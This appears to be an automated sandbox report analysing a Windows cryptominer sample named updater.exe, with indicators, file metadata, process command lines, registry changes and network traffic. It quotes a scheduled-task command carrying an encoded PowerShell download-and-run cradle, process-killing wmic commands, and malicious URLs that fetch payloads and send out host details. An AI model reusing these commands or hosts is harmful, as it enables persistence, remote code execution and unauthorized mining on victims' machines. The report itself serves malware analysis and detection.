| download: | updater.exe |
| Full analysis: | https://app.any.run/tasks/a209ea59-6991-48db-a76d-ae2551e58638 |
| Verdict: | Malicious activity |
| Threats: | Crypto mining malware is a resource-intensive threat that infiltrates computers with the purpose of mining cryptocurrencies. This type of threat can be deployed either on an infected machine or a compromised website. In both cases the miner will utilize the computing power of the device and its network bandwidth. |
| Analysis date: | February 10, 2019, 16:31:39 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 59B18D6146A2AA066F661599C496090D |
| SHA1: | 48A3046381A963A2471875EF67886E35B90E8541 |
| SHA256: | BDBFA96D17C2F06F68B3BCC84568CF445915E194F130B0DC2411805CF889B6CC |
| SSDEEP: | 6144:fjuMu1mF3HxzOSxkQkEQww02gvgsjAeZFGiz:7qmFtOS+2Qc2gnTGs |
MALICIOUS
Application was dropped or rewritten from another process
- ttt.exe (PID: 2332)
- wmiex.exe (PID: 2220)
- wmiex.exe (PID: 3604)
- taskmgr.exe (PID: 2848)
- svchost.exe (PID: 3716)
- svchost.exe (PID: 3908)
- svchost.exe (PID: 4036)
- svchost.exe (PID: 3292)
- svchost.exe (PID: 2236)
- svchost.exe (PID: 2588)
- svchost.exe (PID: 2632)
- taskmgr.exe (PID: 4024)
- svchost.exe (PID: 2340)
Uses Task Scheduler to run other applications
- cmd.exe (PID: 3824)
- cmd.exe (PID: 4092)
- cmd.exe (PID: 3476)
- cmd.exe (PID: 3740)
- cmd.exe (PID: 2360)
- cmd.exe (PID: 3132)
Loads the Task Scheduler COM API
- schtasks.exe (PID: 3560)
- schtasks.exe (PID: 2732)
- schtasks.exe (PID: 2504)
- schtasks.exe (PID: 2236)
- schtasks.exe (PID: 3356)
- schtasks.exe (PID: 3848)
- schtasks.exe (PID: 904)
- schtasks.exe (PID: 3608)
- schtasks.exe (PID: 2880)
- schtasks.exe (PID: 4020)
Starts NET.EXE for service management
- ttt.exe (PID: 2332)
- wmiex.exe (PID: 3604)
- updater.exe (PID: 3380)
- svchost.exe (PID: 2708)
Changes the autorun value in the registry
- updater.exe (PID: 3380)
- ttt.exe (PID: 2332)
Starts NET.EXE to view/add/change user profiles
- cmd.exe (PID: 3000)
- cmd.exe (PID: 2500)
- cmd.exe (PID: 3424)
Loads dropped or rewritten executable
- WMIC.exe (PID: 2568)
- WMIC.exe (PID: 2760)
- wmic.exe (PID: 2796)
- wmic.exe (PID: 2400)
- WMIC.exe (PID: 3528)
- WMIC.exe (PID: 3736)
- WMIC.exe (PID: 3680)
- wmic.exe (PID: 2776)
- WMIC.exe (PID: 2100)
- WMIC.exe (PID: 3628)
- Wmic.exe (PID: 2304)
- wmic.exe (PID: 2536)
- WMIC.exe (PID: 3116)
- WMIC.exe (PID: 2604)
- WMIC.exe (PID: 3052)
- WMIC.exe (PID: 3488)
- WMIC.exe (PID: 3164)
- wmic.exe (PID: 3328)
- wmic.exe (PID: 2952)
- WMIC.exe (PID: 3956)
- svchost.exe (PID: 3908)
- svchost.exe (PID: 3716)
- wmic.exe (PID: 2440)
- WMIC.exe (PID: 2504)
- WMIC.exe (PID: 3804)
- WMIC.exe (PID: 4004)
- wmic.exe (PID: 3924)
- WMIC.exe (PID: 3976)
- WMIC.exe (PID: 2388)
- WMIC.exe (PID: 3312)
- svchost.exe (PID: 2588)
- WMIC.exe (PID: 3616)
- WMIC.exe (PID: 2596)
- WMIC.exe (PID: 2940)
- WMIC.exe (PID: 3944)
- WMIC.exe (PID: 3864)
- WMIC.exe (PID: 3736)
- WMIC.exe (PID: 3732)
- WMIC.exe (PID: 3220)
- WMIC.exe (PID: 2752)
- WMIC.exe (PID: 3696)
- WMIC.exe (PID: 3756)
- wmic.exe (PID: 3096)
- svchost.exe (PID: 2340)
- WMIC.exe (PID: 1904)
- WMIC.exe (PID: 420)
- WMIC.exe (PID: 3516)
- WMIC.exe (PID: 3660)
- WMIC.exe (PID: 1348)
- WMIC.exe (PID: 3932)
- WMIC.exe (PID: 2524)
- WMIC.exe (PID: 3072)
- WMIC.exe (PID: 4064)
- WMIC.exe (PID: 2548)
- wmic.exe (PID: 3420)
- WMIC.exe (PID: 2380)
- WMIC.exe (PID: 3484)
- WMIC.exe (PID: 2228)
- WMIC.exe (PID: 3624)
- WMIC.exe (PID: 3828)
- WMIC.exe (PID: 3900)
- WMIC.exe (PID: 3540)
- WMIC.exe (PID: 3896)
- WMIC.exe (PID: 3972)
- WMIC.exe (PID: 1456)
- WMIC.exe (PID: 3228)
- WMIC.exe (PID: 2640)
- WMIC.exe (PID: 1384)
- WMIC.exe (PID: 2900)
- WMIC.exe (PID: 3024)
- WMIC.exe (PID: 3916)
- WMIC.exe (PID: 2320)
- WMIC.exe (PID: 4060)
- WMIC.exe (PID: 1396)
- WMIC.exe (PID: 3184)
- WMIC.exe (PID: 1840)
- WMIC.exe (PID: 1516)
- WMIC.exe (PID: 3712)
- WMIC.exe (PID: 3700)
- WMIC.exe (PID: 280)
- WMIC.exe (PID: 1496)
- WMIC.exe (PID: 4056)
- WMIC.exe (PID: 5756)
- WMIC.exe (PID: 3744)
- WMIC.exe (PID: 4364)
- WMIC.exe (PID: 5028)
- WMIC.exe (PID: 5884)
- WMIC.exe (PID: 5576)
- WMIC.exe (PID: 7384)
- WMIC.exe (PID: 7260)
- WMIC.exe (PID: 7328)
- WMIC.exe (PID: 7288)
- WMIC.exe (PID: 7928)
- WMIC.exe (PID: 1292)
- WMIC.exe (PID: 4076)
- WMIC.exe (PID: 3840)
- WMIC.exe (PID: 460)
- WMIC.exe (PID: 3256)
- WMIC.exe (PID: 8716)
- WMIC.exe (PID: 11660)
- WMIC.exe (PID: 11544)
- WMIC.exe (PID: 11016)
- WMIC.exe (PID: 2080)
- WMIC.exe (PID: 11312)
- WMIC.exe (PID: 10368)
- WMIC.exe (PID: 13204)
- WMIC.exe (PID: 12688)
- WMIC.exe (PID: 12680)
- WMIC.exe (PID: 2368)
- WMIC.exe (PID: 13928)
- WMIC.exe (PID: 16196)
- WMIC.exe (PID: 14504)
- WMIC.exe (PID: 13352)
- WMIC.exe (PID: 9248)
- WMIC.exe (PID: 8732)
- WMIC.exe (PID: 8792)
- WMIC.exe (PID: 10420)
- WMIC.exe (PID: 18424)
- WMIC.exe (PID: 16468)
- WMIC.exe (PID: 19856)
- WMIC.exe (PID: 17024)
- WMIC.exe (PID: 19864)
- WMIC.exe (PID: 18800)
- WMIC.exe (PID: 21968)
- WMIC.exe (PID: 19336)
- WMIC.exe (PID: 1860)
- WMIC.exe (PID: 22000)
- WMIC.exe (PID: 22400)
- WMIC.exe (PID: 2328)
- WMIC.exe (PID: 15112)
- WMIC.exe (PID: 17048)
- WMIC.exe (PID: 18296)
- WMIC.exe (PID: 1144)
- WMIC.exe (PID: 4988)
- WMIC.exe (PID: 6604)
- WMIC.exe (PID: 6680)
- WMIC.exe (PID: 7076)
- WMIC.exe (PID: 7240)
- WMIC.exe (PID: 7280)
- WMIC.exe (PID: 10144)
- WMIC.exe (PID: 11992)
- WMIC.exe (PID: 11020)
- WMIC.exe (PID: 20560)
- WMIC.exe (PID: 5324)
- WMIC.exe (PID: 4572)
- WMIC.exe (PID: 5640)
- WMIC.exe (PID: 3680)
- WMIC.exe (PID: 4612)
- WMIC.exe (PID: 8028)
- WMIC.exe (PID: 11632)
- WMIC.exe (PID: 11000)
- WMIC.exe (PID: 14160)
- WMIC.exe (PID: 13332)
- WMIC.exe (PID: 13932)
- WMIC.exe (PID: 2076)
- WMIC.exe (PID: 10984)
- WMIC.exe (PID: 12364)
- WMIC.exe (PID: 13804)
- WMIC.exe (PID: 16304)
- WMIC.exe (PID: 13164)
- WMIC.exe (PID: 12468)
- WMIC.exe (PID: 13400)
- WMIC.exe (PID: 16328)
- WMIC.exe (PID: 13592)
- WMIC.exe (PID: 8544)
- WMIC.exe (PID: 8340)
- WMIC.exe (PID: 6756)
- WMIC.exe (PID: 20244)
- WMIC.exe (PID: 19388)
- WMIC.exe (PID: 20160)
- WMIC.exe (PID: 15484)
- WMIC.exe (PID: 22360)
- WMIC.exe (PID: 20308)
- WMIC.exe (PID: 22372)
- WMIC.exe (PID: 12460)
- WMIC.exe (PID: 22080)
- WMIC.exe (PID: 5500)
- WMIC.exe (PID: 4552)
- WMIC.exe (PID: 21836)
- WMIC.exe (PID: 14360)
- WMIC.exe (PID: 19656)
- WMIC.exe (PID: 12368)
- WMIC.exe (PID: 13812)
- WMIC.exe (PID: 2480)
- WMIC.exe (PID: 9004)
- WMIC.exe (PID: 11556)
- WMIC.exe (PID: 21996)
- WMIC.exe (PID: 6852)
- WMIC.exe (PID: 11668)
- WMIC.exe (PID: 11036)
- WMIC.exe (PID: 6628)
- WMIC.exe (PID: 12516)
- WMIC.exe (PID: 13524)
- WMIC.exe (PID: 13540)
- WMIC.exe (PID: 21296)
- WMIC.exe (PID: 4400)
- WMIC.exe (PID: 20800)
- WMIC.exe (PID: 10352)
- WMIC.exe (PID: 16092)
- WMIC.exe (PID: 6456)
- WMIC.exe (PID: 4872)
- WMIC.exe (PID: 14996)
- WMIC.exe (PID: 17084)
- WMIC.exe (PID: 20040)
- WMIC.exe (PID: 17008)
- WMIC.exe (PID: 12892)
- WMIC.exe (PID: 18600)
- WMIC.exe (PID: 4480)
- WMIC.exe (PID: 16040)
- WMIC.exe (PID: 19668)
- WMIC.exe (PID: 13136)
- WMIC.exe (PID: 12576)
- WMIC.exe (PID: 18836)
- WMIC.exe (PID: 8140)
- WMIC.exe (PID: 11684)
- WMIC.exe (PID: 17116)
- WMIC.exe (PID: 22460)
- WMIC.exe (PID: 6696)
- WMIC.exe (PID: 20732)
- WMIC.exe (PID: 6876)
- WMIC.exe (PID: 18108)
- WMIC.exe (PID: 17020)
- WMIC.exe (PID: 8240)
- WMIC.exe (PID: 6784)
- WMIC.exe (PID: 9472)
- WMIC.exe (PID: 19908)
- WMIC.exe (PID: 10244)
- WMIC.exe (PID: 5440)
- WMIC.exe (PID: 7100)
- WMIC.exe (PID: 5672)
- WMIC.exe (PID: 17604)
- WMIC.exe (PID: 21300)
- WMIC.exe (PID: 22484)
- WMIC.exe (PID: 19332)
- WMIC.exe (PID: 18492)
- WMIC.exe (PID: 19036)
- WMIC.exe (PID: 4748)
- WMIC.exe (PID: 14432)
- WMIC.exe (PID: 14440)
- WMIC.exe (PID: 15352)
- WMIC.exe (PID: 13712)
- WMIC.exe (PID: 17684)
- WMIC.exe (PID: 11884)
- WMIC.exe (PID: 12204)
MINER was detected
- taskmgr.exe (PID: 2848)
- taskmgr.exe (PID: 4024)
Connects to CnC server
- taskmgr.exe (PID: 2848)
- taskmgr.exe (PID: 4024)
SUSPICIOUS
Starts SC.EXE for service management
- cmd.exe (PID: 3824)
- cmd.exe (PID: 4092)
Executable content was dropped or overwritten
- ttt.exe (PID: 2332)
- updater.exe (PID: 3380)
- svchost.exe (PID: 2256)
- svchost.exe (PID: 3292)
- svchost.exe (PID: 4036)
- svchost.exe (PID: 2236)
- svchost.exe (PID: 2632)
Starts CMD.EXE for commands execution
- ttt.exe (PID: 2332)
- updater.exe (PID: 3380)
- wmiex.exe (PID: 2220)
- svchost.exe (PID: 2256)
- svchost.exe (PID: 3716)
- svchost.exe (PID: 2340)
Creates files in the Windows directory
- updater.exe (PID: 3380)
- svchost.exe (PID: 2256)
- wmiex.exe (PID: 2220)
- svchost.exe (PID: 4036)
- svchost.exe (PID: 3292)
- svchost.exe (PID: 3716)
- svchost.exe (PID: 2236)
- svchost.exe (PID: 2632)
- svchost.exe (PID: 2340)
Uses NETSH.EXE for network configuration
- cmd.exe (PID: 2652)
- cmd.exe (PID: 3000)
- cmd.exe (PID: 2500)
Uses TASKKILL.EXE to kill process
- cmd.exe (PID: 2856)
- cmd.exe (PID: 3068)
Creates files in the driver directory
- svchost.exe (PID: 2256)
Uses ATTRIB.EXE to modify file attributes
- cmd.exe (PID: 3060)
Uses IPCONFIG.EXE to discover IP address
- cmd.exe (PID: 3060)
- svchost.exe (PID: 2340)
Uses WMIC.EXE to obtain a list of video controllers
- svchost.exe (PID: 2256)
Executes PowerShell scripts
- svchost.exe (PID: 2256)
- svchost.exe (PID: 3716)
- svchost.exe (PID: 2340)
Creates executable files which already exist in Windows
- svchost.exe (PID: 2256)
Loads Python modules
- svchost.exe (PID: 3716)
- svchost.exe (PID: 3908)
- svchost.exe (PID: 2588)
- svchost.exe (PID: 2340)
Removes files from Windows directory
- svchost.exe (PID: 4036)
- svchost.exe (PID: 2256)
- svchost.exe (PID: 2236)
Uses WHOAMI.EXE to obtaining logged on user information
- powershell.exe (PID: 2168)
- powershell.exe (PID: 3272)
Application launched itself
- svchost.exe (PID: 2236)
- svchost.exe (PID: 2632)
Uses NETSTAT.EXE to discover network connections
- svchost.exe (PID: 2340)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (67.4) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (14.2) |
| .exe | | | Win32 Executable (generic) (9.7) |
| .exe | | | Generic Win/DOS Executable (4.3) |
| .exe | | | DOS Executable Generic (4.3) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2016:06:30 08:21:48+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | - |
| InitializedDataSize: | 198656 |
| UninitializedDataSize: | 7168 |
| EntryPoint: | 0x15c4a |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 30-Jun-2016 06:21:48 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000E8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 4 |
| Time date stamp: | 30-Jun-2016 06:21:48 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.bss | 0x00001000 | 0x00001B1C | 0x00000000 | IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.data | 0x00003000 | 0x0001CB92 | 0x0001CC00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 6.333 |
.sxdata | 0x00020000 | 0x0000007C | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_LNK_INFO, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 1.07612 |
.rsrc | 0x00021000 | 0x000139C8 | 0x00013A00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 7.99612 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
100 | 7.99229 | 25958 | UNKNOWN | English - United States | ZIP |
101 | 7.99137 | 21001 | UNKNOWN | English - United States | ZIP |
102 | 7.9944 | 33168 | UNKNOWN | English - United States | ZIP |
Imports
ADVAPI32.dll |
CRYPT32.dll |
KERNEL32.dll |
PSAPI.DLL |
USER32.dll |
WS2_32.dll |
urlmon.dll |
Total processes
448
Monitored processes
356
Malicious processes
19
Suspicious processes
35
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 280 | wmic process where "name='taskmgr.exe' and executablepath<>'C:\\windows\\system32\\taskmgr.exe' and executablepath<>'C:\\windows\\syswow64\\taskmgr.exe' and executablepath<>'C:\\windows\\system32\\drivers\\taskmgr.exe' and executablepath<>'C:\\windows\\syswow64\\drivers\\taskmgr.exe'" delete | C:\Windows\System32\Wbem\WMIC.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 408 | findstr RUNNING | C:\Windows\system32\findstr.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Find String (QGREP) Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 420 | wmic process where "name='explorer.exe' and executablepath<>'C:\\windows\\explorer.exe' and executablepath<>'c:\\explorer.exe'" delete | C:\Windows\System32\Wbem\WMIC.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 460 | wmic process where "name='spoolsv.exe' and executablepath<>'C:\\windows\\system32\\spoolsv.exe' and executablepath<>'C:\\windows\\syswow64\\spoolsv.exe'" delete | C:\Windows\System32\Wbem\WMIC.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 692 | "C:\Windows\system32\whoami.exe" /user | C:\Windows\system32\whoami.exe | — | powershell.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: whoami - displays logged on user information Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 904 | schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F | C:\Windows\system32\schtasks.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 928 | netsh advfirewall set allprofile state on | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Network Command Shell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1144 | wmic process where "name='msdtc.exe' and executablepath<>'C:\\windows\\system32\\msdtc.exe' and executablepath<>'C:\\windows\\syswow64\\msdtc.exe'" delete | C:\Windows\System32\Wbem\WMIC.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1292 | wmic process where "name='svchost.exe' and executablepath<>'C:\\windows\\system32\\svchost.exe' and executablepath<>'C:\\windows\\syswow64\\svchost.exe' and executablepath<>'C:\\windows\\system32\\drivers\\svchost.exe' and executablepath<>'C:\\windows\\syswow64\\drivers\\svchost.exe' and executablepath<>'C:\\windows\\temp\\svchost.exe'" delete | C:\Windows\System32\Wbem\WMIC.exe | — | cmd.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1332 | cmd /c wmic process where "name='taskmgr.exe' and executablepath<>'%SystemDrive%\\windows\\system32\\taskmgr.exe' and executablepath<>'%SystemDrive%\\windows\\syswow64\\taskmgr.exe' and executablepath<>'%SystemDrive%\\windows\\system32\\drivers\\taskmgr.exe' and executablepath<>'%SystemDrive%\\windows\\syswow64\\drivers\\taskmgr.exe'" delete & wmic process where "name='svchost.exe' and executablepath<>'%SystemDrive%\\windows\\system32\\svchost.exe' and executablepath<>'%SystemDrive%\\windows\\syswow64\\svchost.exe' and executablepath<>'%SystemDrive%\\windows\\system32\\drivers\\svchost.exe' and executablepath<>'%SystemDrive%\\windows\\syswow64\\drivers\\svchost.exe' and executablepath<>'%SystemDrive%\\windows\\temp\\svchost.exe'" delete & wmic process where "name='explorer.exe' and executablepath<>'%SystemDrive%\\windows\\explorer.exe' and executablepath<>'c:\\explorer.exe'" delete & wmic process where "name='spoolsv.exe' and executablepath<>'%SystemDrive%\\windows\\system32\\spoolsv.exe' and executablepath<>'%SystemDrive%\\windows\\syswow64\\spoolsv.exe'" delete & wmic process where "name='conhost.exe' and executablepath<>'%SystemDrive%\\windows\\system32\\conhost.exe' and executablepath<>'%SystemDrive%\\windows\\syswow64\\conhost.exe'" delete & wmic process where "name='csrss.exe' and executablepath<>'%SystemDrive%\\windows\\system32\\csrss.exe' and executablepath<>'%SystemDrive%\\windows\\syswow64\\csrss.exe'" delete & wmic process where "name='services.exe' and executablepath<>'%SystemDrive%\\windows\\system32\\services.exe' and executablepath<>'%SystemDrive%\\windows\\syswow64\\services.exe'" delete & wmic process where "name='msdtc.exe' and executablepath<>'%SystemDrive%\\windows\\system32\\msdtc.exe' and executablepath<>'%SystemDrive%\\windows\\syswow64\\msdtc.exe'" delete | C:\Windows\system32\cmd.exe | — | svchost.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
5 287
Read events
4 809
Write events
478
Delete events
0
Modification events
| (PID) Process: | (2332) ttt.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | WebServers |
Value: C:\Windows\system32\wmiex.exe | |||
| (PID) Process: | (2220) wmiex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wmiex_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2220) wmiex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wmiex_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2220) wmiex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wmiex_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2220) wmiex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wmiex_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2220) wmiex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wmiex_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2220) wmiex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wmiex_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (2220) wmiex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wmiex_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2220) wmiex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wmiex_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2220) wmiex.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wmiex_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
Executable files
94
Suspicious files
3
Text files
16
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2256 | svchost.exe | C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\53XDKSMI\ins4[1] | — | |
MD5:— | SHA256:— | |||
| 2220 | wmiex.exe | C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IHKO366B\u[1].png | text | |
MD5:— | SHA256:— | |||
| 3380 | updater.exe | C:\Windows\system32\drivers\svchost.exe | executable | |
MD5:59B18D6146A2AA066F661599C496090D | SHA256:BDBFA96D17C2F06F68B3BCC84568CF445915E194F130B0DC2411805CF889B6CC | |||
| 3380 | updater.exe | C:\windows\temp\ttt.exe | executable | |
MD5:A4B7940B3D6B03269194F728610784D6 | SHA256:B771267551961CE840A1FBCD65E8F5ECD0A21350387F35BBCD4C24125EC04530 | |||
| 2220 | wmiex.exe | C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UDB0HU2H\h[1].bat | text | |
MD5:— | SHA256:— | |||
| 2256 | svchost.exe | C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\X4XUKVGZ\i[1].png | text | |
MD5:— | SHA256:— | |||
| 2220 | wmiex.exe | C:\windows\temp\h.bat | text | |
MD5:— | SHA256:— | |||
| 2332 | ttt.exe | C:\Windows\system32\wmiex.exe | executable | |
MD5:A4B7940B3D6B03269194F728610784D6 | SHA256:B771267551961CE840A1FBCD65E8F5ECD0A21350387F35BBCD4C24125EC04530 | |||
| 3292 | svchost.exe | C:\Windows\TEMP\_MEI32922\Crypto.Cipher._DES3.pyd | executable | |
MD5:F6D78AB78381BF4056335A75EE7C8523 | SHA256:5317F80AE3B32D6A3D4CE013BDF93F5D857E6625BC89C778171983E95865ABE4 | |||
| 3060 | cmd.exe | C:\WINDOWS\system32\drivers\etc\hosts | text | |
MD5:BC949EA893A9384070C31F083CCEFD26 | SHA256:6BDF66B5BF2A44E658BEA2EE86695AB150A06E600BF67CD5CCE245AD54962C61 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
12 089
DNS requests
10
Threats
30
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2256 | svchost.exe | GET | 200 | 172.104.73.9:80 | http://dl.haqo.net/ins4.exez?ID=USER-PC&GUID=D103199D-3C3F-AB45-A928-AB014D429B1F&_T=1549816330 | JP | binary | 5.50 Mb | malicious |
2256 | svchost.exe | GET | 200 | 172.104.73.9:80 | http://dl.haqo.net/ins4.exez?ID=USER-PC&GUID=D103199D-3C3F-AB45-A928-AB014D429B1F&_T=1549816337 | JP | binary | 5.50 Mb | malicious |
2256 | svchost.exe | GET | 200 | 68.183.178.71:80 | http://p.abbny.com/im.png?ID=USER-PC&GUID=D103199D-3C3F-AB45-A928-AB014D429B1F&MAC=52:54:00:4A:04:AF&USER=SYSTEM&VER=0.5&OS=Windows%207&BIT=32&CPU=Intel(R)%20Core(TM)%20i5-6400%20CPU%20@%202.70GHz&CARD=Standard%20VGA%20Graphics%20Adapter&LIST=1,3&AV=&FROM=7&X=&IT=20190210&_S=2391&md5=&a=1&b=1&_T=1549816337 | US | text | 350 b | malicious |
2256 | svchost.exe | GET | 200 | 68.183.178.71:80 | http://i.haqo.net/i.png?ID=USER-PC&GUID=D103199D-3C3F-AB45-A928-AB014D429B1F&MAC=52:54:00:4A:04:AF&USER=SYSTEM&VER=0.5&OS=Windows%207&BIT=32&CPU=Intel(R)%20Core(TM)%20i5-6400%20CPU%20@%202.70GHz&CARD=Standard%20VGA%20Graphics%20Adapter&LIST=1,3&AV=&FROM=7&X=&IT=20190210&_S=2391&md5=&a=1&b=1&_T=1549816329 | US | text | 350 b | malicious |
2220 | wmiex.exe | GET | 200 | 139.162.107.97:80 | http://139.162.107.97/h.bat?ID=USER-PC&GUID=D103199D-3C3F-AB45-A928-AB014D429B1F&MAC=52:54:00:4A:04:AF&_T=1549816324 | JP | text | 115 b | suspicious |
2220 | wmiex.exe | GET | 200 | 172.104.73.9:80 | http://ii.haqo.net/u.png?ID=USER-PC&GUID=D103199D-3C3F-AB45-A928-AB014D429B1F&MAC=52:54:00:4A:04:AF&OS=Windows%207&BIT=32&_T=1549816321 | JP | text | 254 b | malicious |
2256 | svchost.exe | GET | 200 | 139.162.107.97:80 | http://139.162.107.97/xmrig-32_1.mlz?ID=USER-PC&GUID=D103199D-3C3F-AB45-A928-AB014D429B1F&_T=1549816334 | JP | binary | 399 Kb | suspicious |
